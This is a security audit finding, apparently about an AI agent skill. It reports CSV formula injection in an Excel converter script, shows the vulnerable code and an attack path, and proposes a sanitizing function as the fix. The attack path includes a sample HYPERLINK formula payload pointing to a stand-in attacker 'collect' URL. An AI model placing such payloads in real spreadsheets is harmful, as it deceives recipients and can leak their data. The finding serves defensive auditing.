T09 · Insecure Skill Coding Practices
- Location
scripts/excel_csv_converter.py:83- Finding
CSV-to-XLSX Formula Injection
- Content
View full analysis
Vulnerability Details
File Location:
scripts/excel_csv_converter.py, lines 83-90
Vulnerability Type: Untrusted spreadsheet formula injection
Risk Level: MediumAffected Code:
python with open(input_file, "r", encoding=encoding, newline="") as f: reader = csv.reader(f, delimiter=delimiter) for row_idx, row in enumerate(reader, 1): for col_idx, value in enumerate(row, 1): ws.cell(row=row_idx, column=col_idx, value=value) row_count += 1Technical Analysis
Values read from the source CSV are written directly into XLSX cells without distinguishing plain text from formulas. In particular, OpenPyXL interprets strings beginning with
=as spreadsheet formulas.Consequently, an attacker who controls the CSV can cause the generated workbook to contain active formulas rather than inert text. Formula payloads may include deceptive hyperlinks, external workbook references, or functions that cause network interactions when supported and permitted by the spreadsheet client.
Defensive handling should also account for values beginning with
+,-, or@, because some spreadsheet applications or subsequent export workflows may interpret these prefixes as formulas.Attack Path
-
An attacker creates or modifies a CSV processed by the Skill.
-
A cell contains a formula-like value, for example:
csv Name,Reference Invoice,"=HYPERLINK(""https://attacker.invalid/collect"",""Open invoice"")" -
The user or Agent invokes the CSV-to-XLSX conversion.
-
The converter passes the value directly to
ws.cell(..., value=value). -
OpenPyXL stores the value as a formula in the generated workbook.
-
A recipient opens the workbook and may be shown an attacker-controlled link or prompt. Depending on the formulas used, the spreadsheet client, and its security settings, external resources may be accessed or sensitive workbook content ...[truncated 737 chars]
-
- Remediation
View remediation
Remediation Suggestions
Sanitize untrusted CSV values before writing them to workbook cells:
- Treat imported CSV fields as plain text by default.
- Detect values whose first non-whitespace character is
=,+,-, or@. - Prefix formula-like values with an apostrophe or explicitly assign the cell's data type as a string.
- Provide an explicit opt-in option if trusted users need formulas preserved.
- Document that formula preservation must not be enabled for untrusted input.
- Add tests covering formula prefixes, leading whitespace, tabs, carriage returns, quoted CSV fields, and alternative encodings.
Example defensive implementation:
python def neutralize_formula(value): if not isinstance(value, str): return value candidate = value.lstrip() if candidate.startswith(("=", "+", "-", "@")): return "'" + value return value for row_idx, row in enumerate(reader, 1): for col_idx, value in enumerate(row, 1): ws.cell( row=row_idx, column=col_idx, value=neutralize_formula(value), )If formulas must never be supported, explicitly create text cells and verify the resulting XLSX does not contain formula records.
